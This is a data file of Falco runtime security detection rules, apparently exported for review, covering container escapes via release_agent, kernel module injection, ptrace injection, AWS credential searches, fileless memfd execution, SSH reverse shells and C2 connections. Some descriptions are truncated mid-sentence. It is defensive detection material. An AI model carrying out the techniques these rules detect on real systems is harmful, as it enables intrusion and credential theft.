9c64349f26c69c5c849dc502,kernel_module_load and container and thread.cap_effective icontains sys_module and not container.image.repository in (allowed_container_images_loading_kernel_module),kernel_module_load and container and thread.cap_effective icontains sys_module and not container.image.repository in (allowed_container_images_loading_kernel_module),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Linux Kernel Module Injection Detected,falco_condition,[],linux/container,0.3,True,"Inject Linux Kernel Modules from containers using insmod or modprobe with init_module and finit_module syscalls, given the precondition of sys_module effective capabilities. Profile the environment and consider allowed_container_images_loading_kernel_module to reduce noise and account for legitimate cases.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
63047a3c2882317bfb8bb8c2,spawned_process and container and container.privileged=true and proc.name=debugfs,spawned_process and container and container.privileged=true and proc.name=debugfs,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Debugfs Launched in Privileged Container,falco_condition,[],linux/container,0.3,True,"Detect file system debugger debugfs launched inside a privileged container which might lead to container escape. This rule has a more narrow scope.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fb7344b7e96cc6f0c9f1df19,open_write and container and fd.name endswith release_agent and (user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and thread.cap_effective contains CAP_SYS_ADMIN,open_write and container and fd.name endswith release_agent and (user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and thread.cap_effective contains CAP_SYS_ADMIN,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Detect release_agent File Container Escapes,falco_condition,[],linux/container,0.3,True,"Detect an attempt to exploit a container escape using release_agent file. By running a container with certains capabilities, a privileged user can modify release_agent file and escape from the container.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1b69f1c8b179df8469599730,ptrace_attach_or_injection and proc_name_exists and not known_ptrace_procs,ptrace_attach_or_injection and proc_name_exists and not known_ptrace_procs,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,PTRACE attached to process,falco_condition,[],linux/container,0.3,True,"Detect an attempt to inject potentially malicious code into a process using PTRACE in order to evade process-based defenses or elevate privileges. Common anti-patterns are debuggers. Additionally, profiling your environment via the known_ptrace_procs template macro can reduce noise. A successful ptrace syscall generates multiple logs at once.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b88b588ca53c814aa62022b1,evt.type=ptrace and evt.arg.request contains PTRACE_TRACEME and proc_name_exists,evt.type=ptrace and evt.arg.request contains PTRACE_TRACEME and proc_name_exists,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,PTRACE anti-debug attempt,falco_condition,[],linux/container,0.3,True,"Detect usage of the PTRACE system call with the PTRACE_TRACEME argument, indicating a program actively attempting to avoid debuggers attaching to the process. This behavior is typically indicative of malware activity. Read more about PTRACE in the ""PTRACE attached to process"" rule.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
26d8ba9e55181fd01fc08d45,"spawned_process and ((grep_commands and private_aws_credentials) or (proc.name = ""find"" and proc.args endswith "".aws/credentials""))","spawned_process and ((grep_commands and private_aws_credentials) or (proc.name = ""find"" and proc.args endswith "".aws/credentials""))",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Find AWS Credentials,falco_condition,[],linux/container,0.3,True,"Detect attempts to search for private keys or passwords using the grep or find command, particularly targeting standard AWS credential locations. This is often seen with unsophisticated attackers, as there are many ways to access files using bash built-ins that could go unnoticed. Regardless, this serves as a solid baseline detection that can be tailored to cover these gaps while maintaining an acceptable noise level. This rule complements the rule ""Search Private Keys or Passwords"".
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
19929810ab6b6bed9a4531d7,"spawned_process and (proc.exe startswith ""/dev/shm/"" or (proc.cwd startswith ""/dev/shm/"" and proc.exe startswith ""./"" ) or (shell_procs and proc.args startswith ""-c /dev/shm"") or (shell_procs and proc.args startswith ""-i /dev/shm"") or (shell_procs and proc.args startswith ""/dev/shm"") or (proc.cwd startswith ""/dev/shm/"" and proc.args startswith ""./"" )) and not container.image.repository in (falco_privileged_images, trusted_images)","spawned_process and (proc.exe startswith ""/dev/shm/"" or (proc.cwd startswith ""/dev/shm/"" and proc.exe startswith ""./"" ) or (shell_procs and proc.args startswith ""-c /dev/shm"") or (shell_procs and proc.args startswith ""-i /dev/shm"") or (shell_procs and proc.args startswith ""/dev/shm"") or (proc.cwd startswith ""/dev/shm/"" and proc.args startswith ""./"" )) and not container.image.repository in (falco_privileged_images, trusted_images)",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Execution from /dev/shm,falco_condition,[],linux/container,0.3,True,"This rule detects file execution in the /dev/shm directory, a tactic often used by threat actors to store their readable, writable, and occasionally executable files. /dev/shm acts as a link to the host or other containers, creating vulnerabilities for their compromise as well. Notably, /dev/shm remains unchanged even after a container restart. Consider this rule alongside the newer ""Drop and execute new binary in container"" rule.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a592a40742df00e8ce4a500f,spawned_process and container and proc.is_exe_upper_layer=true and not container.image.repository in (known_drop_and_execute_containers) and not known_drop_and_execute_activities,spawned_process and container and proc.is_exe_upper_layer=true and not container.image.repository in (known_drop_and_execute_containers) and not known_drop_and_execute_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Drop and execute new binary in container,falco_condition,[],linux/container,0.3,True,"Detect if an executable not belonging to the base image of a container is being executed. The drop and execute pattern can be observed very often after an attacker gained an initial foothold. is_exe_upper_layer filter field only applies for container runtimes that use overlayfs as union mount filesystem. Adopters can utilize the provided template list known_drop_and_execute_containers containing allowed container images known to execute binaries not included in their base image. Alternatively, y",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e01f92035211c8832a50143b,outbound and proc.exe endswith ssh and fd.l4proto=tcp and ssh_non_standard_ports_network,outbound and proc.exe endswith ssh and fd.l4proto=tcp and ssh_non_standard_ports_network,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Disallowed SSH Connection Non Standard Port,falco_condition,[],linux/container,0.3,True,"Detect any new outbound SSH connection from the host or container using a non-standard port. This rule holds the potential to detect a family of reverse shells that cause the victim machine to connect back out over SSH, with STDIN piped from the SSH connection to a shell's STDIN, and STDOUT of the shell piped back over SSH. Such an attack can be launched against any app that is vulnerable to command injection. The upstream rule only covers a limited selection of non-standard ports. We suggest ad",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
84f3678031f83bf8527416c4,spawned_process and proc.is_exe_from_memfd=true and not known_memfd_execution_processes,spawned_process and proc.is_exe_from_memfd=true and not known_memfd_execution_processes,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco_rules.yaml,Fileless execution via memfd_create,falco_condition,[],linux/container,0.3,True,"Detect if a binary is executed from memory using the memfd_create technique. This is a well-known defense evasion technique for executing malware on a victim machine without storing the payload on disk and to avoid leaving traces about what has been executed. Adopters can whitelist processes that may use fileless execution for benign purposes by adding items to the list known_memfd_execution_processes.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2398e3538eac85eeb1551017,inbound_outbound and ssh_port and not allowed_ssh_hosts,inbound_outbound and ssh_port and not allowed_ssh_hosts,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,archive/falco-deprecated_rules.yaml,Disallowed SSH Connection,falco_condition,[],linux/container,0.3,True,"Detect any new SSH connection on port 22 to a host other than those in an allowed list of hosts. This rule absolutely requires profiling your environment beforehand. Network-based rules are extremely crucial in any security program, as they can often provide the only definitive evidence. However, effectively operationalizing them can be challenging due to the potential for noise.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b1939550cf90c48a0bf99c40,outbound and not ((fd.sip in (allowed_outbound_destination_ipaddrs)) or (fd.snet in (allowed_outbound_destination_networks)) or (fd.sip.name in (allowed_outbound_destination_domains))),outbound and not ((fd.sip in (allowed_outbound_destination_ipaddrs)) or (fd.snet in (allowed_outbound_destination_networks)) or (fd.sip.name in (allowed_outbound_destination_domains))),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,archive/falco-deprecated_rules.yaml,Unexpected outbound connection destination,falco_condition,[],linux/container,0.3,True,"Detect any outbound connection to a destination outside of an allowed set of ips, networks, or domain names. This rule absolutely requires profiling your environment beforehand. Network-based rules are extremely crucial in any security program, as they can often provide the only definitive evidence. However, effectively operationalizing them can be challenging due to the potential for noise.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
db9a393105c445df75c68b90,inbound_outbound and container and container.image.repository in (allowed_image) and not proc.name in (authorized_server_binary) and not fd.sport in (authorized_server_port),inbound_outbound and container and container.image.repository in (allowed_image) and not proc.name in (authorized_server_binary) and not fd.sport in (authorized_server_port),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,archive/falco-deprecated_rules.yaml,Outbound or Inbound Traffic not to Authorized Server Process and Port,falco_condition,[],linux/container,0.3,True,"Detect traffic to an unauthorized server process and port within pre-defined containers. This rule absolutely requires profiling your environment beforehand and also necessitates adjusting the list of containers to which this rule will be applied. The current expression logic will never evaluate to true unless the list is populated. Network-based rules are extremely crucial in any security program, as they can often provide the only definitive evidence. However, effectively operationalizing them",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
80c97deeccc84222e1c0c292,outbound and ((fd.sip in (c2_server_ip_list)) or (fd.sip.name in (c2_server_fqdn_list))),outbound and ((fd.sip in (c2_server_ip_list)) or (fd.sip.name in (c2_server_fqdn_list))),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,archive/falco-deprecated_rules.yaml,Outbound Connection to C2 Servers,falco_condition,[],linux/container,0.3,True,"Detect outbound connections to command and control servers using a list of IP addresses and fully qualified domain names (FQDNs). This rule absolutely requires profiling your environment beforehand and also necessitates adjusting the template lists. The current expression logic will never evaluate to true unless the lists are populated. Network-based rules are extremely crucial in any security program, as they can often provide the only definitive evidence. However, effectively operationalizing ",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
24b4bfaed3230f451b6b5a09,write_etc_common,write_etc_common,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,build/mitre_attack_checker/falco_mitre_attack_checker/tests/resources/falco_rules_test.yaml,not a mitre rule,falco_condition,[],linux/container,0.3,True,an attempt to write to any file below /etc,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9845ad372525d8f5aaaef243,container_started and container and not allowed_containers,container_started and container and not allowed_containers,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,build/mitre_attack_checker/falco_mitre_attack_checker/tests/resources/falco_rules_test.yaml,wrong mitre rule,falco_condition,[],linux/container,0.3,True,"Detect the initial process started by a container that is not in a list of allowed containers.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2967403da9f513d6a0ebde5f,"(open_read or open_file_failed) and (etc_dir or user_ssh_directory or fd.name startswith /root/.ssh or fd.name contains ""id_rsa"") and directory_traversal and not proc.pname in (shell_binaries)","(open_read or open_file_failed) and (etc_dir or user_ssh_directory or fd.name startswith /root/.ssh or fd.name contains ""id_rsa"") and directory_traversal and not proc.pname in (shell_binaries)",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,build/mitre_attack_checker/falco_mitre_attack_checker/tests/resources/falco_rules_test.yaml,correct mitre rule tactics tags with multiple techniques,falco_condition,[],linux/container,0.3,True,"Directory traversal monitored file read - Web applications can be vulnerable to directory traversal attacks that allow accessing files outside of the web app's root directory (e.g. Arbitrary File Read bugs). System directories like /etc are typically accessed via absolute paths. Access patterns outside of this (here path traversal) can be regarded as suspicious. This rule includes failed file open attempts.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9602f3e4e74b79ea4124cc40,"sensitive_files and open_read and proc_name_exists and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, read_sensitive_file_binaries, shell_binaries, hids_binaries, vpn_binaries, mail_config_binaries, nomachine_binaries, sshkit_script_binaries, in.proftpd, mandb, salt-call, salt-minion, postgres_mgmt_binaries, google_oslogin_ ) and not cmp_cp_by_passwd and not ansible_running_python and not run_by_qualys and not run_by_chef and not run_by_google_accounts_daemon and not user_read_sensitive_file_conditions and not mandb_postinst and not perl_running_plesk and not perl_running_updmap and not veritas_driver_script and not perl_running_centrifydc and not runuser_reading_pam and not linux_bench_reading_etc_shadow and not user_known_read_sensitive_files_activities and not user_read_sensitive_file_containers","sensitive_files and open_read and proc_name_exists and not proc.name in (user_mgmt_binaries, userexec_binaries, package_mgmt_binaries, cron_binaries, read_sensitive_file_binaries, shell_binaries, hids_binaries, vpn_binaries, mail_config_binaries, nomachine_binaries, sshkit_script_binaries, in.proftpd, mandb, salt-call, salt-minion, postgres_mgmt_binaries, google_oslogin_ ) and not cmp_cp_by_passwd and not ansible_running_python and not run_by_qualys and not run_by_chef and not run_by_google_accounts_daemon and not user_read_sensitive_file_conditions and not mandb_postinst and not perl_running_plesk and not perl_running_updmap and not veritas_driver_script and not perl_running_centrifydc and not runuser_reading_pam and not linux_bench_reading_etc_shadow and not user_known_read_sensitive_files_activities and not user_read_sensitive_file_containers",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,build/mitre_attack_checker/falco_mitre_attack_checker/tests/resources/falco_rules_test.yaml,wrong mitre rule multiple techniques and missing one tactic,falco_condition,[],linux/container,0.3,True,"Read sensitive file untrusted - an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review